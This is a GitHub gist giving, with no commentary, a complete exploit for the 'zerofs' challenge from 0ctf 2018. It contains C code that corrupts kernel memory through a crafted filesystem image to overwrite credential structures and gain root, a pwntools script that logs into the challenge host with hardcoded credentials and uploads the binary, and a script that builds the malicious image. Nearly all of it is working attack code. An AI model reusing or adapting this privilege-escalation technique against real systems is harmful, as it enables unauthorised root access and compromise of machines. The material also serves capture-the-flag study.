Create a gist now

Instantly share code, notes, and snippets.

Embed
What would you like to do?
Exploit of zerofs at 0ctf2018
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <assert.h>
#include <sys/mman.h>
#define UID 1000
unsigned char *buf;
unsigned long len;
int search(int i)
{
short *uid;
short *end;
short val = 0;
end = buf + len;
uid = buf;
while (uid < end - 156)
{
if (*uid == UID)
{
if (*uid == UID && *(uid + 24) == UID && *(uid + 68) == UID && *(uid + 78) == UID)
{
printf("GOOD:%016x\n", i * len + (unsigned int)((unsigned char *)uid - buf));
*uid = 0;
*(uid + 24) = 0;
*(uid + 68) = 0;
*(uid + 78) = 0;
return 0;
}
}
uid++;
}
return 0;
}
int main(int argc, char *argv[])
{
int fd;
int r;
len = 0x100000;
buf = mmap(NULL, len, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
if (buf <= 0)
{
perror("mmap");
}
fd = open("/mnt/666", O_RDWR);
if (fd < 0)
{
perror("open");
}
if (argc == 2)
{
unsigned long offset;
offset = strtol(argv[1], NULL, 16);
printf("write offset:%016x\n", offset);
r = lseek(fd, offset & 0xfffffffffffff000, SEEK_SET);
if (r < 0)
{
perror("lseek");
}
r = read(fd, buf, 0x2000);
if (r < 0)
{
perror("read");
}
// modify
search(0);
// write back
r = lseek(fd, offset & 0xfffffffffffff000, SEEK_SET);
if (r < 0)
{
perror("lseek");
}
r = write(fd, buf, 0x2000);
if (r < 0)
{
perror("write");
}
puts("wait");
while (geteuid() != 0 && getegid() != 0)
{
sleep(1);
}
puts("root!");
}
r = lseek(fd, 0x0, SEEK_SET);
if (r < 0)
{
perror("lseek");
}
for (unsigned long i = 0; i < 0x38000000 / len; i++)
{
r = lseek(fd, i * len, SEEK_SET);
if (r < 0)
{
perror("lseek");
}
r = read(fd, buf, len);
if (r < 0)
{
perror("read");
}
search(i);
}
// r = read(fd, buf, 1);
munmap(buf, len);
puts("wait");
while (geteuid() != 0 && getegid() != 0)
{
sleep(1);
}
printf("ROOT!\n");
system("sha256sum /root/flag");
return 0;
}
from base64 import b64encode
from pwn import *
def main():
s = ssh(host='202.120.7.198', user='ctf', password='Happyzerofs!')
sh = s.shell('/bin/sh')
size = 0x200
with open('fs/exp/e') as f:
binary = f.read()
binary = b64encode(binary)
i = 0
print len(binary)
while i < len(binary):
b = binary[i:i + size]
cmd = 'echo -n "%s" >> /tmp/e.b64;' % b
sh.recvuntil('/ $')
sh.sendline(cmd)
print i
i += size
sh.sendline('base64 -d /tmp/e.b64 > /tmp/e')
with open('fs/tmp/zerofs.img') as f:
binary = f.read()
binary = b64encode(binary)
i = 0
print len(binary)
while i < len(binary):
b = binary[i:i + size]
cmd = 'echo -n "%s" >> /tmp/zerofs.img.b64;' % b
sh.recvuntil('/ $')
sh.sendline(cmd)
print i
i += size
sh.sendline('base64 -d /tmp/zerofs.img.b64 > /tmp/zerofs.img')
sh.recvuntil('/ $')
sh.sendline('md5sum /tmp/zerofs.img')
sh.recvuntil('/ $')
sh.sendline('md5sum /tmp/e')
sh.recvuntil('/ $')
sh.interactive()
if __name__ == '__main__':
main()
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *
block0 = p64(0x4F52455A) + p64(4096) + p64(3) + p64(0xffffffff ^ 0x7)
block0 = block0.ljust(0x1000, '\x00')
block1 = ''
inode1 = p64(1) + p64(2) + p64(0x4000) + p64(0x1)
inode2 = p64(2) + p64(3) + p64(0x8000) + p64(0xffffffffffffffff)
block1 += inode1 + inode2
block1 = block1.ljust(0x1000, '\x00')
block2 = ''
block2 += '666'.ljust(256, '\x00')
block2 += p64(2)
block2 = block2.ljust(0x1000, '\x00')
img = block0 + block1 + block2 + '\x30' * 0x1000 * 1
with open('fs/tmp/zerofs.img', 'wb') as f:
f.write(img)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment